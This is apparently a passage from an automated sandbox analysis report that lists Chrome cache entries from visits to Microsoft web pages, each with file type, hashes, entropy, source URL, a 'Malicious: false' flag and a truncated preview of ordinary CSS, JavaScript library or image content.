SHA-512:	44745BBE21317827C76FDD62CDD7982F794D02C1BCA576C4B822ABD81BFEFDDC273FF335EFBE912AD6D15571664C28A01B1C8059E50945B667FDFFC330574F68
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/socialfollow/v1/socialfollow/clientlibs/site.min.ACSHASH0fa38db43eb641c9ac1ca868ce3d294f.css
Preview:	@media screen and (max-width: 320px) {. .socialfollow-ul {. margin-top: 2px !important; . }.}

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64241)
Category:	downloaded
Size (bytes):	171505
Entropy (8bit):	5.043804815226508
Encrypted:	false
SSDEEP:	3072:jzCPZkTP3bDLH0tfRqQ0xtLfj4ZDSIpTt813viY8R1j35Ap7LQZLPPJH7PAbOCxb:jlZAW3kJeqg
MD5:	8F186BBA557DC6140841C682AF4D60EE
SHA1:	CE2F96E57EE3D9ED15B8A2DD3EBDC7E54439AF98
SHA-256:	CDA4813A965CCD1AAA50550D08B928AAF4C7F50B6F77823213FE3A97E806C2F1
SHA-512:	17ACC430C28A171C1FD029C1B0EB67BE14ED41ED9F7F10E4040ABA1FA39B8DA5CAC7CDF979BAB6CAFAD126AA94C88D123F170E78C51745C3833AE80AD23FB36A
Malicious:	false
URL:	https://www.microsoft.com/onerfstatics/marketingsites-eus-prod/west-european/shell/_scrf/css/themes=default.device=uplevel_web_pc/1b-9d8ed9/c9-be0100/a6-e969ef/43-9f2e7c/82-8b5456/a0-5d3913/52-918540/ca-ae3ce4?ver=2.0&_cf=02242021_3231
Preview:	@charset "UTF-8";./! \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise././! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css /.body{margin:0}.context-uh

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (10387), with no line terminators
Category:	downloaded
Size (bytes):	10930
Entropy (8bit):	4.777922581824855
Encrypted:	false
SSDEEP:	96:4CGjCf1IQNnJ0DuXGJzhIGcjfkfN9xekArvsAJKom+tmTjotKfCYzwsm1L+mFb:4CGjCf3Nn2DuWPlPIvPm+trQfCYiL+wb
MD5:	509E44BDCA06692FD924908DE96BE75B
SHA1:	2B68EABA6109F02706D13775CBC357CA40785ABE
SHA-256:	37D8CC7CC2283BFB3B3804CDD23E4B62A98EF4C0AA1C38DFA5A515D91B9A132F
SHA-512:	44E648E2433C01B879CF952AD1ACBAEE97EF82C18F846429019EF343E5272B568BE3BD9CC530E244E1E282D7CF42A1D215E79756968A4D82B845F0E242551ACF
Malicious:	false
URL:	https://support.microsoft.com/css/glyphs/glyphs.css?v=N9jMfMIoO_s7OATN0j5LYqmO9MCqHDjfpaUV2RuaEy8
Preview:	..icon-fluent{font-family:Support Fluent Icons;font-style:normal;font-weight:normal;line-height:1px;display:inline-block;vertical-align:baseline;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.supTabControlHeader .supTabControlHeaderActive .icon-fluent{font-weight:900;color:#000}.supTabControlHeader .icon-fluent{color:gray;font-size:.9em;padding-right:5px}html[dir=rtl] .supTabControlHeader .icon-fluent{padding-left:5px}.icon-mdl2{font-family:Support MDL2 Assets;font-style:normal;font-weight:normal;line-height:1px;display:inline-block;vertical-align:baseline;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.supTabControlHeader .supTabControlHeaderActive .icon-mdl2{font-weight:900;color:#000}.supTabControlHeader .icon-mdl2{color:gray;font-size:.9em;padding-right:5px}html[dir=rtl] .supTabControlHeader .icon-mdl2{padding-left:5px}.icon-accept:before{content:"."}.icon-actioncenter:before{content:"."}.icon-actioncenternotification:before{conten

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	downloaded
Size (bytes):	138268
Entropy (8bit):	5.224497765711851
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7CisuMK/xw/:1f4Hu1I+Tw/
MD5:	5B85413B96AF340238B93068CDB641FB
SHA1:	D949C985DF4F80FAB0CF036A1DD86C63CA342F1F
SHA-256:	1B448C19C6DF1F2D15399A710A73BB3EC0C5233B571CDFAE9CCA315E6E13FB85
SHA-512:	5B7E26BB4C72A8D8EE6CD20EEEA354ADD396F74289BD3E42CD1D6C8A5D3FA1B190CC62B953CAF4FA38EFDA0983F90F937276C8797EB2E1BADC11F9F5161117CE
Malicious:	false
URL:	https://www.microsoft.com/onerfstatics/marketingsites-neu-prod/shell/_scrf/js/themes=default/54-af9f9f/d4-fb1f57/e1-a50eee/e7-954872/d8-97d509/f0-251fe2/46-be1318/77-04a268/11-240c7b/63-077520/a4-34de62/f9-a5b2ce/db-bc0148/dc-7e9864/6d-c07ea1/6f-dafe8c/f6-aa5278/73-a24d00/6d-1e7ed0/b7-cadaa7/c4-898cf2/ca-40b7b0/4e-ee3a55/3e-f5c39b/c3-6454d7/f9-7592d3/d0-e64f3e/92-10345d/79-499886/7e-cda2d3/58-ab4971/74-d51c79/e0-3c9860/de-884374/1f-100dea/33-abe4df/2b-8e0ae6?ver=2.0&_cf=02242021_3231&iife=1
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	26647
Entropy (8bit):	7.961164465196959
Encrypted:	false
SSDEEP:	384:nhL1z7tVW03Npmi6K0i1WRphEQAjQLj9I32JxMqJn26OsNCVbgP6re0QG9d8b1P:h1zXWKYi90i+Az3cxMqV26pNAeTG9do
MD5:	7343B003F48E30FBDDF87CFC795E860A
SHA1:	12FF2D14D7666F516CAF23848113902A7D5570C6
SHA-256:	B8B3DBA0B8C52DB7CCBFAD56815F0F38E83895488101C51AA580AD581D7115CC
SHA-512:	39E291A9E69D1D22B414428148EA7795FF1D33F875BF823F0E8C96276431E7AAE5A1B4EF7F050492B9903214B5FE7B9B4C92FF1B68A03A614258BA04605640C5
Malicious:	false
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...g.IDATx....wUU./...`.2j2.&C `.X....L.H.b.1.B...1.J.%5..Z%2....EH.$..../........~..y....=...Y....s....{.s.+V.X..b.UVa.]..X5........:N.Z...5d.C.5.9.Yvl^..8....\im..h...M.9....l3[...h..w......f..:..'.W..2....y.(.$'..TD....].S.NSx(.z...J...~.!.b.J..o.AE.B.A.......>f:...:&...eYDTOV!....(E.G..&1.+.JY...&\|J..M.K...J....w.$.h2...G1..[....}.....2E7a.rs.;..o....\|.e..m...e.1..(.k.r...K".\.K.)..".(J..p.>.."v...\|..7.1C.L........S.w.g;....w....QB%.....%.Z].S..S../=.._.. -.......C..}b.....m..-..W..es....N....y..-.nS.T%..t3.IZQ.?.....R..Zxp.$yIc.....&d...2\|.]...'...>.....&.T.'...B..%......Oj.Q....xkFR...+.\|yH.s.B..>.....J.SW,...Z.d(....v..&,Y....Sf.....K.m.E.WL.~.B.D...&..c.Z..\|l.li$.$.V.P}.BJ.~.p...T.IM..1>.'cn........!..6CR&..Y.r.k....=.nL.->....2W......9...J....c.`S8A...R...(Q.N.V+K+.-..........[b..]._{.."%D'-...e...R'...k.T!.(...Q...>R.#.-Y.}\......U*T../..

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1116
Entropy (8bit):	4.788804799444485
Encrypted:	false
SSDEEP:	24:L0xLFaXgj7O6mpLQqVBeVBr/LSxLSUS3Gpz:oxLFcwC6m1lVBeVBfSpSUS2Z
MD5:	A054C8B2496A3D3097DACFA8BFBC6FEA
SHA1:	B0F4A4CEC9C5D8C0899C61A6BA57030F41F1B54D
SHA-256:	8C37F488ABB2EDF4CD90371137279F5FF32BFD8CF7ED47CC9A73380E2A5500CD
SHA-512:	5161FC704908D7D43AA04549CE7F309810951B3B1D1C1330A3E564F2DA868E93B1DC7A4D1F4C25267F2C6017ED79BE7FE5287858E31257B00293B4DF2AA47A61
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/mlsd/clientlibs/clientlib-windows.min.ACSHASHa054c8b2496a3d3097dacfa8bfbc6fea.css
Preview:	.blue-offer-banner .banner a{color:#fff !important;line-height:1.4;border:0;text-decoration:none;font-size:15px;font-weight:400}..blue-offer-banner{margin-top:-2px}..blue-offer-banner .banner a:hover{text-decoration:underline}..blue-offer-banner .banner a span:before{position:relative;right:.2rem !important;top:2px}..blue-offer-banner.alert{min-height:auto !important}.html[dir=rtl] .blue-offer-banner .banner a span:before{position:absolute;right:auto !important;left:-15px;margin:inherit}.@media only screen and (max-width:539px){.mosaic-mobile-card-stacking div.mosaic.mr-5.ml-5{padding-left:0 !important;padding-right:0 !important;margin-left:0 !important;margin-right:0 !important}..mosaic-mobile-card-stacking .mosaic-tile .mosaic-card{flex-direction:column !important}..mosaic-mobile-card-stacking .mosaic-tile .mosaic-card .position-absolute{position:relative !important}.}..MLSD .showmore-custom-container.showmoreshowless>.container{margin:auto !important}..MLSD .article-custom-container

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	1488
Entropy (8bit):	7.2922902817401
Encrypted:	false
SSDEEP:	24:+zxYjtNzBocESfrWouXiGRWTjlP0r5RNUk7asUUElJu6gG0AKRFci:+zxYjtNScESfjuu2FRWhH5ngA3i
MD5:	357E87349925F0584924045108611E9A
SHA1:	204E485767AF31223666542626A15AC001378661
SHA-256:	1655B85A39D55818BBC77B9CCCD71061089064A1BD3D90DA655E053E9BDBA182
SHA-512:	70E1AF68801FDC96C4549E717E3127ACA3619F6E61C00FE7D3300411C509D540B2FB13F0E9C292FD7F15D8C66BCA2FDFFB58C3EBC1295851825044B5187B0FA0
Malicious:	false
URL:	https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/windows-commercial-Insider-Program-RE1YwZy?fmt=png-alpha&wid=64&hei=64
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm.........,iloc....D..............................5...Biinf..........infe........av01Color.....infe........av01Alpha.....iref........auxl..........iprp....ipco....ispe.......@...@....pixi............av1C........colrnclx...........pixi..........av1C.......8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....ipma.........................#mdat.........@2)E..$@.Y......L...K...2B.._;].T..A..................2..D..A.......My&.a..S.....O.....2...(.t...9.p$d.Lr..L.dr%.......4.6[G,.g...@...#<..B..q..vw..%..)F.....5.+.<BD....-=Ao.g.....%.Oj<kG......%..E..y.??RM...i.H.x;7..\...........9..<..C.......4.b.<W5..8.J..C.{.b...5w.>.}..p....:^0bpz. ....}1...D.5.Y.ef...Pph....j.................?.!....._.C..~.......ma.3.}u.._...UUP.....".uQ.W...&.Q,.aD....H..P.G..V.vwb.F......~rL.......15.R....+.!...n.Ca.?.C-.1,.q..I.t...r.*.....>+..(.@W...h...S.7(._f...V..}.Y$`k.(......j{..z

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1789), with no line terminators
Category:	downloaded
Size (bytes):	1789
Entropy (8bit):	4.949297796790656
Encrypted:	false
SSDEEP:	24:s02Yxod02La21d02/YKdXSd02WwKnccd02+49XX3Xsd02wGy/rd02XLryWrrd02O:sAwzXH2+9WqXHXW4GuJ/v9M
MD5:	49696FC959CE2121F8FC42BC0A295EDF
SHA1:	353FE5D1F17B396C81383059C66E73574991A78B
SHA-256:	E0CFF5C0E0126AD78EB3DCDDA610AD22A32FB4AA37EBA19FEA990E8C3AB3918A
SHA-512:	AF4C277F64FD43CE18E94EE797FB7C4B3D19BD84B0741DFC30AE6E1FE77809EBB36CAA0341A4A86405D275E0AF63A951E488370F4A689636560049AA71084E05
Malicious:	false
URL:	https://support.microsoft.com/css/fonts/site-fonts.css?v=4M_1wOASateOs9zdphCtIqMvtKo366Gf6pkOjDqzkYo
Preview:	@font-face{font-family:"Segoe UI Bold";font-display:swap;font-weight:700;src:local("Segoe UI Bold"),url(segoe-ui/west-european/bold/latest.woff2) format("woff2"),url(segoe-ui/west-european/bold/latest.woff) format("woff")}@font-face{font-family:"Segoe UI Light";font-display:swap;font-weight:100;src:local("Segoe UI Light"),url(segoe-ui/west-european/light/latest.woff2) format("woff2"),url(segoe-ui/west-european/light/latest.woff) format("woff")}@font-face{font-family:"Segoe UI Semibold";font-display:swap;font-weight:600;src:local("Segoe UI Semibold"),url(segoe-ui/west-european/semibold/latest.woff2) format("woff2"),url(segoe-ui/west-european/semibold/latest.woff) format("woff")}@font-face{font-family:"Segoe UI Semilight";font-display:swap;font-weight:200;src:local("Segoe UI Semilight"),url(segoe-ui/west-european/semilight/latest.woff2) format("woff2"),url(segoe-ui/west-european/semilight/latest.woff) format("woff")}@font-face{font-family:"Segoe UI";font-display:swap;font-weight:400;src:

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4370), with no line terminators
Category:	downloaded
Size (bytes):	4370
Entropy (8bit):	5.070419363669657
Encrypted:	false
SSDEEP:	96:yUD4Nf5fpk+9/FPV/A/xtrmAxdAe8RiM1MTMNOMx7UIF/A1ERu84jC7UO7Flt8zx:b4TJ96rrmAxdAe8RiM1MTMNOMx7UIF/o
MD5:	5F05B23BAD0F2D477C4E6B9266F99A74
SHA1:	E6CC0BE0A86B8330B4FD16CE8EB27614FB313B40
SHA-256:	70099F944DDCE86C3B9E24CE88C3C489EF4C63CEF20C4DA64A5DC33BBFE36512
SHA-512:	664E997252C7A41F8D4E7A3FD34592D25809AFCD4EF9FB7A2542F9A3C05FC8F841D5F7E58DBF0A6F00C255F43C6A36D6597DDF5C7A0FFC049994002CC851ECB8
Malicious:	false
URL:	https://support.microsoft.com/css/promotionbanner/promotion-banner.css?v=cAmflE3c6Gw7niTOiMPEie9MY87yDE2mSl3DO7_jZRI
Preview:	/! Copyright (C) Microsoft. All rights reserved. /.uhfupgradeBanner{display:block;max-height:110px;border-bottom:.5px solid #aeaeae;box-shadow:0 1px 5px 3px #ccc;margin-bottom:10px}.uhfupgradeBanner .uhfbanner-container{max-width:1640px;max-height:inherit;display:block;position:relative;width:92%;margin-left:auto;margin-right:auto;padding-left:1vw;padding-right:1vw}.uhfupgradeBanner .uhfbanner-container .uhfbanner-wrapper{display:flex;flex-wrap:wrap;max-height:inherit}.uhfupgradeBanner .uhfbanner-container .uhfbanner-wrapper .uhfbanner-content{width:75%;align-items:stretch;float:left;position:relative;padding-top:1.5em;padding-bottom:1.5em;max-height:inherit}.uhfupgradeBanner .uhfbanner-container .uhfbanner-wrapper .uhfbanner-controls-wrapper{align-items:stretch;float:left;position:relative;padding-top:1.1vw;padding-bottom:1vw;width:24%}.uhfupgradeBanner .uhfbanner-controls{float:right}.uhfupgradeBanner .promoHeading{font-weight:600;font-size:20px;margin:0;position:relative;font-fami

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2974), with no line terminators
Category:	downloaded
Size (bytes):	2974
Entropy (8bit):	5.078147905018725
Encrypted:	false
SSDEEP:	24:5hpNPWqBPWsQxmpqrqysQxmpqAYP6PAQxmpqIQxmpqNs7QRlDAALAGaCqDY7KXKe:572MYXsVGQyfZ
MD5:	8C4035FBAA828A7E23B8584328FE8F88
SHA1:	F222869596F1E3E94C131DE6E85BF233ED1EC511
SHA-256:	0F4950468225BC51D24014536FE8004392A415EF01F0DB92A258818E74F9C59E
SHA-512:	74D807189427397E2C8FC35D986616C1104E9125B39F885F61D9A1AA225D566AB3474061B39C64FF69886E5AEA8D6B4C9F28B4DCC9CB6F552D90DB0C651582DB
Malicious:	false
URL:	https://support.microsoft.com/css/sitewide/articleCss-overwrite.css?v=D0lQRoIlvFHSQBRTb-gAQ5KkFe8B8NuSoliBjnT5xZ4
Preview:	div.shimmer-effect{display:flex;width:100%;height:300px}.shimmer-line-container{display:flex;flex-direction:column;width:100%;height:100%}.shimmer-line{background-color:#edebe9;position:relative}.banded-wrapper-reversed:nth-child(odd) .shimmer-line{background-color:#d7d4d2;position:relative}.banded-wrapper-reversed:nth-child(odd) .shimmer-line::before{content:"";width:50%;height:100%;position:absolute;top:0;left:0;background:linear-gradient(to right, #d7d4d2 0%, #b9b9b9 50%, #d7d4d2 100%);animation:shimmer 2s ease-out infinite}.banded-wrapper:nth-child(even) .shimmer-line{background-color:#d7d4d2;position:relative}.banded-wrapper:nth-child(even) .shimmer-line::before{content:"";width:50%;height:100%;position:absolute;top:0;left:0;background:linear-gradient(to right, #d7d4d2 0%, #b9b9b9 50%, #d7d4d2 100%);animation:shimmer 2s ease-out infinite}.shimmer-image-container{position:absolute;right:0;width:50%;top:5%}.banded-wrapper-reversed:nth-child(odd) .shimmer-image{position:relative;heig

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15286
Entropy (8bit):	7.920093772155082
Encrypted:	false
SSDEEP:	384:PBOSXIcsH16kp+153RInfDCuhcuCMmr+sAY:ADcsUs+7SfDJhcuCM0zAY
MD5:	B1266F754B66F7B007B60511E2A2C4A0
SHA1:	2A7A404B98732BDEB9CD63C7A672AC0011788AEB
SHA-256:	B0A544B82B7B83A42F0AEC9C46909290726F4F57BF437264FBE0CB17C2827B7B
SHA-512:	676C337E3B4A1C22D52C5000ED8ABF0E233C558C7B46A690CEC8ED26C76D2C6DAF265EBCBC51FB9B863A8D4E381ADA5859D4EEEC4DF30150C7FBA3B5F5DF8DC0
Malicious:	false
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...;KIDATx..{.-WU..-m).V.....b....&Fm.Fm...!Z..l)R.T!.a.(.QQ...U.gI..H.B...hy..-.O./.....:.....={....\|..s..={....=k......~(...."..8..=e..4...>....m...i..t...}..-M.kd.c\b[...G.p...P..:&.@qbBS..!L..`>.RP=K...&...slX.S..t_)..L.....z.....u.[?.\|.c..p>....r.UH-.9.,.>.cl.\t1...$..TWy..8......@!.b..:m...`Y,..06C.M...[.j....@?.H..Xn.F.4U.R-S5........l.\.....r.e.j...:..P'.)..%.Tn...g....N......M0.L.&R.H....L.....J.Oj.S.....0?.-RK....hs.g......X]..uS,R.c.C.[/..m....U..\C..y......E.B.H.G...[.......TE..BD...TM..)......MQK.R.gb.S.....@HU.....b...<...#.....K.?"..`..)..c..6.Q.r.T....`<.R3.%j..Ig`.....\..e..`Z.R.=.Sp.........Bj.....2..C....n.?.....(IQ!...L..T+..R.Z...#..vmn...).8.}7....@e..@G4....B..........AHA..]...,.V).!..L.B*..'..RI7..`<.R.3QB.......(.B.`a.o....P...;......1..`..\.s.....)uKmk.KX3.m....f...0.....d.l..@...I.....:......7$.E...m.....P....B.;.....P....B@.....B..2..S....

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	211842
Entropy (8bit):	5.548839465294018
Encrypted:	false
SSDEEP:	3072:DismT/mHKxQlVyDqBPAizS7Mzm3NLJa2lQn+S/7qSASyntnh:2smT+X+NLJab+SzqSASyntnh
MD5:	C1338BAD680C7B30034BB2BEE2C447D3
SHA1:	E93C535395F25D15F4AA67E481DFCEAF94F25A1E
SHA-256:	906A3B2A89AA06A9C0DA125FBF248D1F9FD188511B44D4822D9E3FCFD28197E8
SHA-512:	AE28ACA7B8AAB00F7EAF2B5EBCE86F23DD1B91E711100110ED4E2B7B6A68A1284AF777EC87C652789BBBC50B5FA95A18A47A1D1F5B1FF65FDBC6E56EE6FA31E7
Malicious:	false
URL:	https://mem.gfx.ms/scripts/me/MeControl/10.24228.4/en-US/meBoot.min.js
Preview:	MeControlDefine("meBoot",["exports","@mecontrol/web-inline"],function(t,S){"use strict";var c=function(){},i={},u=[],p=[];function O(t,e){var r,n,o,i,a=p;for(i=arguments.length;2<i--;)u.push(arguments[i]);for(e&&null!=e.children&&(u.length\|\|u.push(e.children),delete e.children);u.length;)if((n=u.pop())&&void 0!==n.pop)for(i=n.length;i--;)u.push(n[i]);else"boolean"==typeof n&&(n=null),(o="function"!=typeof t)&&(null==n?n="":"number"==typeof n?n=String(n):"string"!=typeof n&&(o=!1)),o&&r?a[a.length-1]+=n:a===p?a=[n]:a.push(n),r=o;var s=new c;return s.nodeName=t,s.children=a,s.attributes=null==e?void 0:e,s.key=null==e?void 0:e.key,s}function T(t,e){for(var r in e)t[r]=e[r];return t}function d(t,e){t&&("function"==typeof t?t(e):t.current=e)}var e="function"==typeof Promise?Promise.resolve().then.bind(Promise.resolve()):setTimeout;var l=/acit\|ex(?:s\|g\|n\|p\|$)\|rph\|ows\|mnc\|ntw\|ine[ch]\|zoo\|^ord/i,r=[];function a(t){!t._dirty&&(t._dirty=!0)&&1==r.push(t)&&e(n)}function n(){for(var t;t=r.pop();)t

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20946
Entropy (8bit):	7.93232536946356
Encrypted:	false
SSDEEP:	384:ecpgK1ekapmcRcYDw6SaYAwQTniYPMalqQm6vkoP9njpqNT:eKjUkapAsw6C9ePM2qQm6vkoFnwT
MD5:	68B6034D22E6083CF2592BF4B8B71F0E
SHA1:	0981B22AF5F2BF930794557717FF7C7F4FF563FF
SHA-256:	56E5D47C342207184BE9DE6E3CF06CF26C32B34EE799B3ACC95EBEEEEFA5484A
SHA-512:	3CDA6510769E8EE427103B1D76A0035E2A3E62C4EF0E789DBC28969B12F2DF2C1F7E7652FDF9CC99C7C086CF2764A19520D15A5FED86ECC5CAB9D9F77D534E93
Malicious:	false
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...QgIDATx....nEy....j.%bU.X..n^......Im..M."Z...+hU...m.e.....A.FQ.m......D....ELTD...Uo}...>.\|3....v....y..gf.:.?.yf..n.m..a........+.~..J u..}.k.........:;v.P......qM.c;.1.S..j..@v....O...c.@.....5Z.P.E{...P.(.......PvvQ..... .IGj...U.:}.#..Xghj.C.MQ...Kua...)G,4]..?.........#.......w.Ti'.Vy....S....%._).'...J...%.u\.R.Oo.R,p......"Y....N:V.P.R.W......O..Pk...n......Z.....).....HVc.Z.M....H....X......5....$....p......".>...<U...Sc.\|.K...Q.NR...k...k...F...).....H...=.....+.zj(....]/5.\.........).....H...\.@.;.\|.......I.&5.'.(6.cTz^.....c.r...r....k.)s.b..<.#......I.1R....k..6........R.d....r.]...NT].H.....D.#%.N..X.......7.t,..z.;cS.p].f....E-...6.#......IuG...p..c[.g.`..v..R1V...J.9.J... ..HqIw.NS..........3.G..pI.+p.....#.N.......Gp....).....Hf.H..1.#.4..2r.f....t..;.Z.7W........".=1d...^.....M ..I..T...../.t.T................_JLz)......{..hFJ...E..t9.).WaXj&

Chrome Cache Entry: 425

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (728)
Category:	dropped
Size (bytes):	11405
Entropy (8bit):	5.337832455968521
Encrypted:	false
SSDEEP:	192:ei4mI8A10VNEHbnIB89tGRbvlG/bUgck7L8Dap8z+vRjQfymrQy1Zy1Gy1M+qmWW:eiy1F7nIB89tGRbvaUBvk8qjQfymrQy8
MD5:	FF9CACB22668C4F6174E0AF4A2BE89F9
SHA1:	EC9ED15001A3E13404660B6EA09F99C512E08882
SHA-256:	EF39A5CC6826231852FD8D60736867DA31E7E9036F3575B1DC4846DC6FB86A3B
SHA-512:	267064DCB16AB4B9B19756C2313CCB9E5B467A41427DE9BF46158A1C2231699EC43D51C2F201D97C02AFA31BF5011FF471035CF10C7DC6003299B86D85C52806
Malicious:	false
Preview:	'use strict';var UHFButton=$("header #c-uhf-nav-cta \x3e a");0<$("meta[name\x3d'blue-cta']").length&&UHFButton.addClass("blue-cta");UHFButton.css("visibility","visible");var mainLandmark=$("main"),rootNode=$(".root");0< !mainLandmark.length&&0<rootNode.length&&rootNode.attr("role","main");.function changeSupToAnchor(){try{var a="",b="",c=[];$("sup:not(.no-link)").each(function(){a=$(this).text();a=a.replace("*(","");a=a.replace(")","");c=a.split(", ");for(var e=0;e<c.length;e++)b+="\x3ca aria-label\x3d'Footnote "+c[e]+"' href\x3d'javascript:void(0);' class\x3d'c-hyperlink supBLink'\x3e\x3cspan class\x3d'supText'\x3e"+c[e]+"\x3c/span\x3e\x3c/a\x3e\x3cspan\x3e, \x3c/span\x3e";$(this).html(b);b=""});$("sup").find("span:last").remove();var d=$(".list-unstyled li a.superscript");d.attr("href",."javascript:void(0);");d.addClass("supLink");d.each(function(){0==$(this).find(".supFn").length&&$(this).wrapInner("\x3cspan class\x3d'supFn'\x3e\x3c/span\x3e")})}catch(e){console.log(e)}}.function n

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 64x64, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	648
Entropy (8bit):	7.6238568602080194
Encrypted:	false
SSDEEP:	12:WP6byZ2eQi9pMquVPlsnieb2g9DADD1s/RAfD2YX3njzsbvDl/n:9bp2byUieb26MquDLX3jzs9/
MD5:	17E7E8563E78F039E337500D27C1C4C0
SHA1:	F04FF4C4C765FECF419AE0D7E81514CCC3A9AD1A
SHA-256:	56165700E735965BAF05A33B3102771426EE1E5E899685029B112FF0CF9ED17B
